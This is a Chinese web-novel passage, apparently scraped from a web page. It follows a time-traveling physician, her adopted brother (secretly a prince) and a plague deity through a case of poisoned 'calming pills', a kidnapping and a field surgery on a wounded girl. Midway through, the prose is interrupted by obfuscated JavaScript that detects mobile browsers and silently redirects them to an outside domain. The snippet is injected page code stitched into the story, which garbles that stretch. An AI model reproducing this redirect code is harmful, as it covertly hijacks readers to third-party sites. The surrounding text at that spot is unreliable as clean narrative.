那夜，刀剑声在街道的尽头响起，奶娘只来得及将他塞进一艘小船，便转身迎上追兵。他在舱底缩成一团，死死咬着嘴唇，任泪水打湿了衣襟。 他想，自己大概是天煞孤星，谁留他，谁就会倒霉。 等他再醒来时，船已经飘到了村子附近。他浑身是伤，饿得视线模糊，走起路来歪歪扭扭。在村口与一条野狗抢食失败后，跌坐在泥地里，脱力地闭上了眼，直到被养父母捡了回去… “阿玉？阿玉！”沈半夏推了推蹲在一旁出神的阿玉，“又白坐了一天……咱们得想想别的法子。” 阿玉回神，眨了眨眼，默默起身，弯腰帮她收拾摊子。 这时，一名年轻妇人抱着摸约两三岁的孩童，啜泣着小跑而来，“大夫，求你救救我女儿。” 沈半夏赶忙迎上去，阿玉将收起的凳子重新搬出来，扶着妇人坐下。 沈半夏接过女童，细细查看起来——只见那孩子紧闭着双眼。冷汗直冒，唇色略微发紫。 妇人怀里的药罐滚落在地，“叮”的一声磕破了一角，沈半夏下意识扫了一眼，眸光一顿。 是最近坊间私下流通很火的，安神丸。 妇人衣着虽不张扬，仍旧是锦缎襕衫，细腰长带。连女童身上的斗篷亦是上好的云锦。可这对母女出行，竟无半个随从，着实有些古怪。 ——咦，不好不好，小娃娃明明一身病气咋这般索然无味。 沈半夏没搭理耳边嘀嘀咕咕的瘟神子，低头专心为小女孩诊脉，问：“几岁了？” “两岁有余”妇人低声应道。 “这药是？”沈半夏抬了抬下巴，阿玉立刻捡起滚落的药瓶递过去。 “月初开始用的……开始确有成效，但不知为何，今日服下后，竟险些要了命。” “为何服药？” 妇人垂眸，神色惶然，“小儿常夜啼不止，嬷嬷们都累得不行……我不过是妾室，怕惊扰了府上。才……才想试试” 她咬了咬唇，低声道：“坊间传闻安神丸能安神定气，我去求了些来……也不知怎地就成了这样……” “一整月？”沈半夏蹙眉，凑近药罐嗅了嗅，问道：“药方可还在？” 妇人忙摆手：“没有，说是祖传秘方，不可轻易示人。” 沈半夏没有说话，在药箱里翻找片刻后，取出参麦为主成分的药丸给小童捏着鼻子塞进了嘴里。 ——原来是加了麻痹病气的药丸。 “你能闻见患者病气的味道？”沈半夏心里默声和瘟神子对话。 ——只要病人自身感受到了病痛，本座自然可以嗅到瘟病之味。 沈半夏默默记下，如若患者症状被麻痹神经或者其他对症药物压了下去，瘟神子就只能嗅到无味的病气。 “以后就别用这安神丸了。小儿夜啼才是常事，强行压制，不仅容易伤及肺腑，反而瞒了其他病症的先兆。”沈半夏又叮嘱那女子，“回去再熬些绿豆汤吧。” 妇人连连道谢，留下药资诊费，匆匆离去。 * 那日后，沈半夏又断断续续接诊了几个过度麻痹的病人，还顺便让阿玉熬了些甘草绿豆粥带到摊子上，顺便能多卖一份银钱。 ——你尽治些没啥滋味的晕沉之症，可续不了多少命！ “您看是小女子不想吗？” ——后生得多加努力啊。我看这些人的固疾就滋味颇丰，要不你穷追不舍…… “您吃饱了，我们也得吃饱。” 沈半夏无情打断瘟神子的美好畅想，照她现在的境遇，若不是安神丸非药馆正经流通的药材，这些人恐怕也不会上门找她一个小女子看诊。 罢了，这些时日也算树立了一些名声。 沈半夏搅和着手里的汤碗，笑眯眯盯着阿玉，见他正聚精会神地往药瓶子里灌药丸。 “阿玉，想不想吃绿豆糕呀。” “想的。”听到这话，阿玉立刻抬头，亮晶晶的眸子对上沈半夏，狠狠点了点头。 “那你先推着摊子回去，我去给你买来！” 沈半夏起身拍了拍衣服，琢么着横竖也没几个上门的，不如干脆收摊歇了。摊子摆了半月有余，日日全勤，可怜自家弟弟，忙前忙后的陪着她。 和阿玉暂别，沈半夏独自一人往市集的另一端走去，路过县衙门前，聚集了不少看热闹的百姓。交头接耳间，说今日要审的可是城中大盐商窦家的案子。 沈半夏素来不喜欢瞎凑热闹，正欲绕开，倏地被人拦住了。 眼前人乍一看一身白纻长衫，可外边镶着的银丝锦线漏了金贵，更遑论此人腰间的玉佩香囊叮呤咣啷，是多日未见的柳翩生。 “半夏姑娘，好巧。”柳翩生笑盈盈地和他们打招呼，“先别走嘛，一起看热闹。” “你自己看吧，我还有事，改日再聚。”毕竟是帮了她大忙的人，沈半夏礼貌婉拒。 “你看那是谁！”柳翩生没有让开，拦住她的衣摆朝着县衙的方向指去。 沈半夏疑惑地往里一看，那公堂上负刀而立的英挺青年——是夏久。 “阿久是云合的参军。”柳翩生解释道，“那日我们…诶，开始了！” 公堂之上，县令敲了敲惊堂木，堂下顿时安静下来。 "带原告被告上堂！" 随着衙役的喝声，一个中年男子走了出来，一身锦缎长袍，面容憔悴，眼下两团乌黑。 跟在他身后的是个青年，一身素色布衣，面容清瘦，战战兢兢低着头。 "堂下何人，报上名来。"县令沉声问道。 中年男子深施一礼："草民窦天德，乃窦氏盐行东家。状告高景明以毒药害我父亲窦明跃！" 他说及此处，声音哽咽。堂外围观的百姓顿时议论纷纷，谁不知窦家老太爷是有名的大善人，每逢灾年开仓放粮，如今竟遭此横祸？ 青年闻言，扑通一声跪倒在地："大人明鉴！小人冤枉啊！窦老太爷是小人表叔公，小人怎会害他？" 县令锐利似鹰隼的目光打量二人，缓缓道："窦天德，将事情原委细细道来。" 窦天德深吸一口气，强压悲痛道："回大人，十日前，这高景明来我府上拜访，带了一盒所谓的''安神丸''。谁知服用三日后，突然昏倒，至今不醒！" 他说着从袖中取出一个精致的檀木盒子，呈上公堂："这便是那安神丸，请大人过目。" 衙役将盒子呈上，里面整齐排列着十余粒褐色药丸，散发着淡淡药香。 青年见状，急忙从怀中掏出另一个小瓷瓶："大人，小人也随身带着这安神丸，一直服用，绝无异常！"他倒出一粒，毫不犹豫地放入口中咽下，"大人请看，这药绝无毒害！" “可也不是寻常安神药物。”沈半夏摇了摇头，没想到这安神丸的戏还唱上了公堂。 “半夏姑娘也知道？”柳翩生疑惑道。 沈半夏颔首，神色不明地盯着堂上慌乱的青年，“你认识他们吗？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464344|169794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不太熟。”柳翩生摇了摇头，“不过听说窦家当家窦天德和老太爷关系微妙，前些日子窦天德在庄子里偷养小娘，差点被老爷子打出去…” “高景明呢？” “此人刚来云合不久。”柳翩生想了想，“我在醉仙楼见过他一次，少言寡语，不太好相与。” 二人话间，县衙里的案子因窦老病因尚未查清，县令宣布改日再审。 “愿窦老早日康复吧…对了！半夏姑娘，可否赏脸与我还有阿久去醉仙楼小聚一二？”柳翩生笑嘻嘻凑到沈半夏跟前。 “…”沈半夏下意识想拒绝，但瞥见夏久衣着官服的背影…… ——你那日鬼市上救下的，果然是官府之人。快！搭上此人定能遇到更多美味可口的…… 瘟神子突然闪现在公堂之上，探头探脑地上下打量起负手而立的夏久，一会儿摸摸他的官服，一会儿凑上前去嗅嗅桌案上的惊堂木，公堂之上血腥气浓厚，还混合着些许酸涩。 既然眼前除了沈半夏无人可以瞧见他，沈半夏暗暗思忖，难得认同瘟神子的胡言乱语。 她沉默半晌，朝柳翩生点了点头，“好。” 况且醉仙楼的糕点声名远扬，阿玉会喜欢。 * 朱漆廊柱下悬着琉璃灯，映得"醉仙楼"的鎏金牌匾流光溢彩。云合颇负盛名的酒家不少，但据说都不及醉仙楼招夫人小姐们喜爱。 二楼雅间珠帘轻晃，夏久官服尚未换下。匆匆赶到，掀帘而入。 “沈姑娘，那日救命之恩，还未好好答谢，”夏久拱手作礼，“听阿生说你来了云合，事务繁忙，未曾登门，还请见谅。” “柳公子已经帮助我和阿玉很多了。”沈半夏摆摆手，“方才堂上那案件，我或许也能给夏公子提供一些线索。” “请姑娘指点一二。”夏久抬眼有些惊讶。 “近日来，来找我这江湖郎中的类似病人有好几位。”沈半夏看向门口，穿鹅黄襦裙的跑堂姑娘进来，托着描金的漆盘，盘中盛着金丝枣泥卷。 “第一位，姨娘因孩童整夜哭啼，给女儿用了安神丸。” “第二位，身患顽疾多年的书生，因难以专注备考，母亲给他服用了安神丸。” “第三位，码头卸货的脚夫，因夜晚腰间酸痛难耐，怕耽搁了白日劳作，自己服用了安神丸。” 沈半夏戳了戳瓷盘里的糕点，筷尖占了些许，塞进嘴里尝味道。 “方子你们可能也查过了，先不论酸枣仁黄连白芍这类温和安神的，那附子，曼陀罗一类，可是大宴的严管…” 她放下筷子，受不了过于甜腻的口感，转头盯着夏久。 “来我这摊上看诊的，多因不得已，要么没钱，要么不便去医馆求医…” “多谢半夏姑娘提点！”夏久沉思，窦家在云合威望颇高，窦老病倒自然能惊动官府。没想到民间类似情况已然不算罕见… “其实，我也有一事想请教夏公子。”沈半夏正色，“那日你我三人相遇的鬼市…夏公子之后可有再去？” “确实去过，但一无所获。”夏久摇了摇头，“那市集诡谲莫测，再无法寻得先前方位。” “是吗…”沈半夏听完这话心下一沉。 “夏公子可还记得此物？”沈半夏从怀里掏出一个木质腰牌，正面平平无奇，背面细看镶嵌着一圈碎玉。 “那日你我三人在鬼市，扎晕你前我顺手拽下藏进了红绳摊的木板之下。”沈半夏盯着夏久，指尖摩挲着碎玉。良久，她笃定道。 “山贼在找人。” “多谢姑娘！”见到腰牌的瞬间，夏久后怕的挺直了脊背，对着沈半夏拱手作揖，“可事关机密，还请沈姑娘见谅，待我上报我家大人，如有消息定给姑娘一个答复。” 见问不出额外信息，沈半夏点了点头。 不知道山上到底发生了什么，还有他们的村子… 酒足饭饱，三人在酒楼前道别，但柳翩生偏拉着夏久要送沈半夏回去，还替她拎着给阿玉打包好的糕点，嚷嚷着要亲自送到阿玉手里。 沈半夏无奈，那宅子是柳翩生的，连矜贵的糕点也是蹭的夏久的“线索费”。吃人嘴短拿人手软。只好任由二人跟着。 可谁知，推开院门，等待她的是却一片狼藉—— 沈半夏瞳孔骤缩，瞬间脸色煞白。她风一般冲进里屋。只见屋内一片漆黑，桌椅被翻倒，衣物横七竖八地零散在地。 她的阿玉…不见踪影。 4. 破庙 戌时已至，暮鼓钟声起。 沈半夏身后的城门缓缓合上，打更人锣声渐远。 月影斑驳，照得沈半夏攥紧的指节发白。方才将别院翻天覆地好一番搜寻，一无所获，带走阿玉的人并没有留下线索。 家中钱财未少分文，阿玉虽身弱单薄，也已身长八尺不该是被拐孩童的年岁。 “瘟神子？”沈半夏心下默念，“你可知阿玉踪迹？” ——不知，本座不是窥探人踪迹的神仙。 沈半夏心下更是着急，二人来云合尚未足月，阿玉每日寸步不离沈半夏，哪能招惹新的仇家… 可新的没有，旧的就不好说了。 她颤抖着闭眼，脑海里浮现出云溪村黢黑绝望的惨状，该不会是屠村的人找到他们了吧… “半夏姑娘！当心！”夏久大喊，用力一拽沈半夏的胳膊后退一步。 一枚铜质袖箭扎在方才沈半夏站的地面上，连着一封未署名的信件。沈半夏弯腰用手帕包住箭头用力一拽，只见偌大的信纸上只有四个字： “城东破庙” * 阿玉醒来的时候，脑袋似乎是被千金巨石压着般沉重。他环顾四周，微弱月光下粉尘浮动，眼下空旷，高约莫三四丈，蛛网横成，中央靠后的地方有一尊断头佛像，一股子衰败之气。 “醒啦！” 大抵被他醒后挣扎声惊动了，一个身着深蓝色布衣的中年男子晃晃悠悠朝他走来。 阿玉一言不发，偏头躲过男人伸来想要拍他脸颊的手。这人走路下盘不稳，袖口滑落时露出的手臂上有层叠嵌套的圆形疤痕。 “细皮嫩肉的，看到这个怕了呀？”男人注意到他的目光，干脆挽起袖子大方伸到他眼下，“小娃娃跟你那肤白貌美的姐姐可见不得这个哟！” “我阿姐是医者！”阿玉瞪了瞪眼前人，听不得有人说沈半夏的不是。 “哈哈哈哈，医者，一个小女子还敢称医者？”男人低头，肩头快速上下伏动，仿佛听了天大的笑话。 “给他点教训。”草堆后走出另一人来，这人也一样身形瘦削，眼下乌青，不知打满补丁的褴褛下是否也满是瘢痕。 男人一脚踹在阿玉的身上，用足了力气，阿玉被踢地狼狈侧身倒下，疼痛从落脚处扩散至五脏六肺。 “回去告诉你姐姐，别多管闲事。”男人压低声音，眼眶欲裂地瞪着，又一脚踩在他的大腿上。 “咳…你们…是…谁。”阿玉挣扎着想起身，但因手被从后束缚着屡次失败。这二人他从未见过，定然不会是沈半夏的病人。 “少管。”男人踹够了，直起身睥睨眼下的少年，“老子最讨厌自以为是的狗屁侠…” 男人说到一半，突然浑身一震，烧灼感像是火苗从上到下吞噬住整个躯体，立刻倒地痛苦地在地面卷曲扭动。 “阿华，你没事吧快吃药。”蓝色布衣赶忙从怀里掏出药瓶，一只手从背后禁锢住男人的腰侧，一手将药丸塞进男人打寒颤的牙关。 阿玉默不作声地看着二人，方才的药丸好生熟悉，沈半夏这五年来大半时间都在捣鼓药材，采回来晾干的，炒制的，磨成粉末，碾成浆液的。连带着他的鼻子也越发敏锐。 是安神丸。阿玉心下了然，这伙人是冲着沈半夏来的。 狂风裹挟夜色突袭，灭了跳动的烛光，庙内只剩凝滞的黑暗。紧接霹雳一声，室内立马被照的煞白。 “呜呜…” 倒在冰凉地面上的少年突然受惊了般，猛得蜷缩躯干，喉头翻滚出大声呜咽。 刚扶同伴倚靠在柱边的男人被他发癫似的样子吓了一跳，迟疑走进了些，冷白的电光下，少年清秀的脸颊煞白，因为恐惧爬满了泪水，浑身都在颤抖，嘴里似乎在呢喃着什么。 “你说什么！”男人蹲下凑近，总算听清少年的低喃： “不要劈我…不要劈我……不要！” 蓦地，少年见男人凑近猛一抬头，乌黑的眸子盛满惊恐，眼眶欲裂，仿佛抓住救命稻草般直勾勾盯着男人，“求求你，带我走！” “少装神弄鬼！” 男人刻意拉高了声量，像是在给自己壮胆。方才的狂风卷灭了烛火，屋外乌云蔽月，殿内更是一片漆黑，偶尔闪过霹雳电光。气氛确实有些诡异，男人咽了咽口水起身后退。 “打雷了…你…大哥你带我走好不好。” 少年往男人身前蛄蛹，身抖如筛糠。 “五年前…雷劈死了我母亲，大火毁了我的家，一月前，又是雷劈在了村庄的茅草上，烧了整个村子…我不是…我不是被诅咒的不祥之人……我不是……” 少年哭得满脸鼻涕眼泪，怕极了似的，抬头一脸哀求看着男人，“不是来劈我的，求求你带我走。” 五年前的事尚无可对证，但上月确实多糟雷雨……听说有村子真被一把火烧尽了… 男人吓得一脸惨白，眼前这少年莫不是真的天煞孤星，被诅咒的。他兄弟二人不过想吓唬吓唬那个黄毛丫头，现下目的也差不多达到了，可不能沾上不干净的东西丢了性命… “你…你走开！”男人猛地推开少年，赶忙扶起同伴，踉跄跑出破庙，“天神大人在上，冤有头债有主，可千万别劈了我等命苦之人！” 见二人离开，阿玉眼神时明时暗，方才的怯懦荡然无存，他漠然半抬着眼站起身来，束缚他的绳子在被踹几脚的时候撞到了破石柱，现下已然松开。 庙门口走入一位青衫白带的老先生，看清来人后，阿玉瞳孔猛缩，发自内心的恐惧瀑出。 他还认得，此人是当今太子的老师，太傅郑与成。 “老臣参见殿下！”老先生衣摆半扬，随即以膝磕地，拱手行礼。 “你认错人了。”阿玉强忍不适面色平静地望着老先生。 “殿下这些年流落民间，定受了苦。”老先生目光如炬，仿佛能穿透阿玉强撑的伪装洞穿他的躯体。“殿下随老臣回去吧。” “苦？”阿玉揉揉酸胀的手腕，清秀漂亮的丹凤眼里漏出嘲讽的笑意，“有令妹给我下的药苦吗？” “舅舅。” 当今太子的太傅是先皇后的亲哥哥。先陈皇后同胞妹共事一夫，要说陈家该是受尽皇室恩泽，虽陈皇后被废香消玉殒，她的胞妹转而就替了姐姐的位子，成为当今另一个风光无限的陈皇后。 “前尘往事，殿下切勿妄言。”郑与成面色如常，全然不似局中人般淡然。 “殿下现下难以自保，遑论沈姑娘…” “不准提她！”阿玉咬牙打断，他不想自己的脏事被沈半夏知道。 “殿下莫急，沈姑娘天资聪慧医术精湛过人，可偏生恻隐心强，可救人者…”他顿了顿，弯腰捡起滚落在地上的药瓶，“可救人者，难自救。” “殿下，也舍得她卷入凶险？” “我自会护她周全。” “殿下拿何相护？”郑与成上下打量面相狼狈的阿玉，笃定道：“殿下自身难保。” 他无可辩驳，不说皇权富贵，沈半夏还要为 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“你最好没事！真是一刻也离不得。”确保眼前人也就受了点皮外伤，沈半夏吊在嗓子眼儿一个时辰的心总算是落了回去。 “那阿姐就一刻也不要离开阿玉呀！”他笑弯了眼，露出往日乖巧恬静的笑容。 “走！我们回家！”沈半夏一把拉起阿玉，身后夏久带着几名捕快搜寻现场。 刚出破庙，柳翩生才气喘吁吁地跑来，见沈半夏搀着阿玉走出来也松了口气，“找到就好！” 一行人在夏久的带领下回城，路过老乞丐的破柴屋时，沈半夏突然想起什么似的驻足，“先前有包银针一直没找到，怕是落在了此处，我先去取。” 说罢摸黑进屋，一股浓厚的血腥味打破了黑暗的寂静，借着月光，沈半夏看到一个十来岁大小的女孩面色惨白的躺在草席上，污血浸满了外衫，气息微弱… ——是外伤！ 空气里的血腥味香甜诱人，瘟神子兴奋的窜了出来，激动的盯着少女——的伤口上下打量。 ——你瞧她微微卷起的伤口还在渗血，仿佛金黄色的油泡冒着的油脂香味，是就久未曾尝到的酱烤味儿。 “你真是个……瘟神啊。” 沈半夏被他一顿吃播般的点评搞得一激灵，可眼下救人要紧…… “阿玉！夏公子！” 沈半夏陡然提高音量，赶忙上前查看女孩的情况。 颈侧脉动微弱，失血过度导致神智不清，有休克前兆。沈半夏掀起女孩的外衫，愣了愣，五年了，自从穿越到大晏，沈半夏很久没有见过血肉模糊。 “沈姑娘，这…”夏久等人赶忙进屋，看清后也都傻了眼。 “夏公子可否带阿玉回住所帮我取些东西。”沈半夏正色，“我的药箱。” “柳公子帮我准备些烈酒和最上好的棉线。” “这…那我回家去取！”柳翩生眼见着夏久和阿玉已快步离去，急得团团转。 “你家太远了，要快！”沈半夏没回头，她正弯腰拿干净的棉布轻轻按压女孩渗血的腹部，那有一条三五公分长，深可见骨的刀伤，可怕的是，里面竟还嵌了零星碎瓷片。 “可这关门闭户哪去取烈酒啊！” 柳翩生跺脚，大半夜的关门闭户，倒是上好的棉线可取他的衣料边角凑活…… “烈酒，来也！” 5. 阿棉 “谁要的烈酒？” 来者是个颌下蓄须的小老头，松垮衣衫虽东一块西一块的满是补丁，但身无异味。他腰间负一朱红漆的大葫芦，应当是他言之烈酒了。 柳翩生正毛焦火辣得紧，眼见老乞丐进了屋，摸出几个铜板扔他手里，不耐烦地挥袖：“走走走，勿再添乱！” “公子瞧得白生俊俏，怎是目无尊长之辈。”小老头摇头晃脑走进，叹气直瞥柳翩生，到是爽快收下了铜板。 “你算什么尊长……” “柳公子，把他的葫芦递过来。”打断他的，是方才一直没搭理二人的沈半夏。 她接过酒葫芦，翻找片刻端出一个木盆，速拿井水冲洗后，咕咚咕咚整个倒了进去，霎时间酒香四溢。 “哎哟，怎得不给老夫留点……”老乞丐心疼得垂手顿足。 “闭嘴！赔你便是了。”柳翩生嫌他聒噪，见烈酒有了，即刻用力撕下块衣料，抽丝后一并递过去。 沈半夏也寻到遗落的银针包，取过几根和棉线一起浸泡进了木盆里。 这时阿玉二人也取回了沈半夏的行头，见了老乞丐阿玉也一惊。 “阿爷也在这呀！”他小跑到沈半夏身侧，娴熟地帮她摊开药箱，“阿姐！你的药箱！” 来云合的这些日子，沈半夏给自个儿硬凑了一套装备。除了瓶瓶罐罐的各式药丸，还有能简单处理外伤的物件：煮沸后烈日曝晒的棉布、跟隔壁跳大神的道士换来的跌打药酒、还有一包精贵的细盐。 沈半夏洒了些许细盐进大碗的清水里。瞧这一屋子老少皆有的大男人，眼下一顿，“阿玉留下，各位麻烦在外候着。” 草席上的少女意识愈发模糊，沈半夏收回打算萃取麻药的银针，吃不准少女机能情况，若真休克昏迷，反而陡升难度。 嘱咐阿玉按住少女的肩头，沈半夏小心翼翼掀开她的衣衫，露出大片腹部皮肤。紧接着，舀取一瓢淡盐水，开始仔细冲洗触目惊心的伤口。 沈半夏蹙眉，不确定之前少女遭遇过什么，但感染的风险极高。前世炮火连天的记忆里渗透火药味的画面涌入心头，脏乱差的屋舍，狰狞凶相的雇佣军和哀嚎遍野的难民，也是人间炼狱。 相较而言，大晏的五年反倒偷得浮生几岁闲。 伤口冲洗掉不少碎瓷片，还有些嵌得深，沈半夏凝神耐心一点点挑出来。片刻后，她穿针引线，打算做最后的缝合。 “阿姐…这是…” 沈半夏方才想起阿玉是第一次见他缝合伤口，抬头给他递上一个安抚的眼神，嘱咐他手下使劲，“按住了。” 寥寥几针，沈半夏素来习惯只做必要缝合。一来她不喜欢歪扭的蜈蚣腿，二来省下的分秒许能再救一命。 处理好伤口，少女的意识也未彻底回转，失血和疼痛透支了体力，现下浑身罩着一层薄汗。 ——不错嘛，有你前世神采。 见她大功告成，瘟神子才慢悠悠地现身，他餍足地倚在墙边，一副吃饱喝足的食客模样。 “这顿可续多少命数？”沈半夏心下询问。第一次瞧见瘟神子这般满意，看来外伤的病痛之气能增加他不少修为。 ——不可小觑，可抵小半年咯。 “……” 不再搭理瘟神子，沈半夏嘱咐阿玉给少女灌一小口盐水，自己起身准备招呼屋外等待的众人。 “阿姐！你受伤了？”阿玉惊呼，他见沈半夏膝处有一片血迹，可席上的少女伤口皆在上半身…… 沈半夏一愣，她自然没有受伤，低头一看，膝下确实占了一片深红色血迹。 只不过，血迹仍旧是席上的少女的。 沈半夏面色一沉，心间略过一丝不好的预感，血迹是少女腿间草席上的，方才急着处理伤口，加之略微翻动了少女的身体才漏出来。她立刻让阿玉背过身去，略带颤抖的指尖伸向少女的裤头…… * 片刻后，阿玉将屋外等候多时的众人请了进来。 “你说这破房子是臭乞丐的？”柳翩生气得吹胡子瞪眼，月前他亲自迎姐弟二人去的别院，但没和老头打过照面。 “你这后生好是蛮横！”老乞丐捻起胡须，余光却在打量草席上的少女。 “罗老，这姑娘到底为何在此。”沈半夏径直打断一老一少斗嘴。 “哎哟，此乃老夫的至交小友，老头子去春韵坊讨酒吃结识的。”不过大多是偷摸进后厨靠自个儿“讨”来的。可春韵坊的仆从小厮个个凶悍刻薄，他老乞儿也有马失前蹄的一天，幸得小姑娘相助，才逃过一顿皮肉毒打。 “可知是为何所伤？何时所伤？可否有旧疾？”沈半夏虽不指望他都能回答，但也一一问询道。 “是春韵坊那恶毒的护院头子，邢大干的。”提到邢大，老头顿时吹须瞪眼，面露愤色，拎起酒葫底朝天倒了半晌无果，干脆坐下开始给众人讲少女身世。 草席上的少女单名一个棉，唤作阿棉，正值豆蔻，是春韵坊里梅娘子的女儿。而这春韵坊，是云合有名的风尘勾栏之地，日日笙歌缭绕，传闻不仅佳人笑语盈盈，更能得琴瑟曼舞的闲趣。 平日里阿棉多是做些后院的粗杂活路，或者帮着楼里姑娘们上街做些脂粉采买。梅娘子母女是年初才被卖到春韵坊的，听说是被云合有名的富贵人家大太太赶出来发卖的，因着是大家，消息一直捂得紧。 阿棉虽整日粗布麻衣，灰头土脸，但小姑娘出落得愈发动人，被腌臜心思的贵客看上了。梅娘子拼死护女但奈何本是无依浮萍，只好寻日子让阿棉带着细软逃跑。 十来岁的孩子能跑多远？不消三日便被护院邢大给捉了回去。这邢大更不是个东西，逮到阿棉后动了邪念，欲先在外处行不轨之事，阿棉恐怕是故意引他来了这老乞丐的破柴房。 “半夏姑娘是知道的，老夫平日里不在此落脚。”老头儿眼珠子一转，瞧着阿棉叹息，“老夫到时，悄摸撞见邢大骂骂咧咧跑了出去，进屋一看，小友满身是血好不吓人。” “亏得半夏姑娘今夜来访，四下根本寻不到大夫。” 沈半夏心下了然，自从和阿玉搬去别院 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“走啦阿久！”柳翩生一刻也不想和老头多呆，干脆扯着夏久胳膊，和等在外的沈半夏二人道：“半夏姑娘明日一早我二人也来帮忙，需要什么药材我帮你去采买。” 枝节横生的一晚总算是落下了帷幕。 * 翌日，晨光熹微，破晓时分落了雨，街头巷尾湿漉漉的，空气里混合着潮湿的苔藓味儿。 沈半夏和阿玉二人再次造访老乞丐的破柴房。一进屋就瞧见老头儿头垫着胳膊趴在桌前睡得打呼，想必是守了少女一宿。 “夜间有发热吗？”沈半夏无情地推醒了老头儿，蹲下身仔细瞧草席上少女的模样。 “嘿，没有！”老头儿见是沈半夏来了，被叫醒了也不恼，摇头晃脑得凑到沈半夏跟前邀功，“照姑娘的吩咐盯着呢。” 沈半夏松了口气，少女年轻，虽身形瘦削，但看来底子还不错。她轻轻揭开腹部伤口上罩着的一层棉纱，伤口周围干爽，未见积脓红肿，她之前就察觉破柴房虽然小旧，但着实干净。 昨晚她没有让众人帮忙将少女抬回去，原因之一自然是怕扯动伤口，另一则是老乞丐的地盘，算得上乱中有序，起码干爽。 “哇，半夏姑娘怎在人肚子上刺绣！”老头儿一瞧少女缝合的腹部，吓得一惊，凑近了些端详三四道黑线，“这啥图案能保安康吗？” 沈半夏没搭理他，草席间少女有醒转的迹象，唇见溢出轻声的呢喃。沈半夏低头聆听，小姑娘在唤的果然是，“阿娘”。 三人又守了一炷香的时辰，柳翩生喘着粗气风风火火的来了。 “不好了半夏姑娘！” 柳翩生是一个人来的，沈半夏心下一紧，照夏久的脾气，他一早定是去查阿棉和梅娘子的事了。 “今早阿久带人去春韵坊查访，”他胸口起伏剧烈，今日腰间的配饰都少了不少，“谁知正巧碰见楼里死了人！” “那死者，正是阿棉的娘亲，梅娘子。” 6. 懊悔 雨后潮湿气尚未散尽，梅子黄时屋内昏暗逼仄。 “梅娘子过世了？” 老乞丐错愕惊呼，“唰”地起身撞翻了椅凳。 柳翩生跑得匆忙，半俯身左手撑住门框喘粗气，眸光环视屋内，哪知刚巧对上少女睁开的眼睛。 “啊，你醒啦……” “……” 阿棉躺在蒲草杂乱编成的草席上，身下是沈半夏怕她感染，多垫的一层干净棉布。薄唇紧抿，指节用力攥得发白，本就虚弱的身子更是笼上了一层阴郁。 但她没哭。 “小友你……”平日里惯能油嘴滑舌的老头儿支支吾吾吐不出妥帖的劝慰。 “我陪她说说话，请诸位先移步。”屋内空气凝滞，气压低沉，沈半夏干脆挥手赶人，打算一人守在少女消化噩耗。 “阿棉多谢姐姐救命之恩。” 率先打破沉默的是阿棉。她刚想起身就被沈半夏按了回去，可还是牵扯到腹部伤口，黄豆大小的冷汗簌簌坠落在草席上。 “先养伤要紧。” 沈半夏心下不忍，只能说些徒劳的话安抚。阿棉是个十足机敏的姑娘，替她包扎下身时，沈半夏一度以为那腌臜东西干了丧尽天良之事，谁想解开裤头，竟只在她大腿间寻到几处渗血的刀伤。 “阿棉真棒，很会保护自己。”沈半夏安抚地摸了摸少女的头。 “娘亲说，男子最忌讳女儿身下血，说是厄运灾祸的至阴污秽之物。”提起娘亲，阿棉垂下眼睫，眼角雾气氤氲。 “所以阿棉割破了大腿，成功骗过了邢大。”沈半夏肯定得朝她点头，眉眼间全然是欣赏和称赞。 “阿棉勇敢聪慧，娘亲在天有灵也能安心了。” “姐姐……” 刚听到娘亲噩耗的时候，耳鼻似是被封住了，心头肉被剜下一块，感觉不到疼。可等劲头一过，铺天盖地的恐惧和悲伤浇头而下，左手五指深深陷入蒲草团里，先是喉痛哽咽，抬起手背抵在额前，低闷的啜泣声一点点拔高，眼泪鼻涕倒灌进喉咙里，咯血般难受。 沈半夏沉默地在一旁陪着她哭到力竭，等少女颤抖地身体不再剧烈起伏，轻柔地扶起她喂水。 “姐姐，我想见娘亲。” “好。” * 屋外，老少三人大眼瞪小眼。 生性聒噪的柳翩生和顽童老乞丐一见面就天雷勾地火，二人从责怪柳翩生性格冒失惹人烦，争到了老乞丐破屋子太小都不给病人一个单独隔绝的空挡。 但都是在心疼少女阿棉的遭遇。 阿玉没有加入，乖乖地守在门边，透过门缝往里窥探，面色平静，只是手指用力攥紧了木质门框。 他只能依稀瞧见沈半夏一个挺直的背影，此时她正盘坐在阿棉身侧，时而伸手轻拍少女的头。 昨夜，姐弟二人合眼不过两个时辰。只因沈半夏回家后将他从头至脚细细瞧了个遍。 她十指纤细，却强劲有力。无论何时看诊，她皆会先朝手心哈气，待寒气褪去后，才小心翼翼地揭开他的里衫。 沈半夏指腹接触到他精瘦的后背传来苏麻感，阿玉生得白皙，不见光的后背更甚，不知怎得，明明浑身早被沈半夏看去了，昨夜被阿姐“正经”地上下其手后，他竟心如蚂蚁爬似的奇痒难耐，幸得屋内烛光昏暗，不然定会被发现他微微泛红的肩头。 距离上一次沈半夏给他上药已经过去了好些年。 初至云溪的时候，他也浑身伤痕，腕上有指甲嵌入皮肉的掐痕，后背有长期卧床闷压的湿疹，前胸有和野狗抢食被偷袭的齿痕，膝盖和小腿是逃跑路上的跌伤。还有，长期服药残破不堪的五脏六腑。 但沈半夏好像一点也不嫌弃。 阿姐身上常年覆着一股安神沁人的木质香，约莫是草药的味道。比太医署端来苦涩酸拗的药甜多了。 其实，沈半夏不仅不嫌弃，她还很很兴奋。家贫如洗，虽置身桃源，但没了医者的身份沈半夏难得遇到一位能大展身手的患者，自然是拎着奄奄一息的少年好一顿霍霍，阿玉很乖，以沈半夏的医嘱为天。几年下来，硬生生给他调养到七八成寻常少年的体魄。 沈半夏花了好些年治好养乖的狗崽子，怎许外人伤他分毫。 阿玉眸光半敛，阿姐单薄瘦削的身子在病弱少女身前显得格外高大，日光透过窗柩撒在她身上，熠熠生辉。 * “我要带阿棉去趟县衙。”不多时，沈半夏推门而出。 “好，我帮阿姐寻一架子来。”阿玉点头附和，转身朝柳翩生咧嘴一笑，“柳大哥，一定知道哪里可以找到吧？” 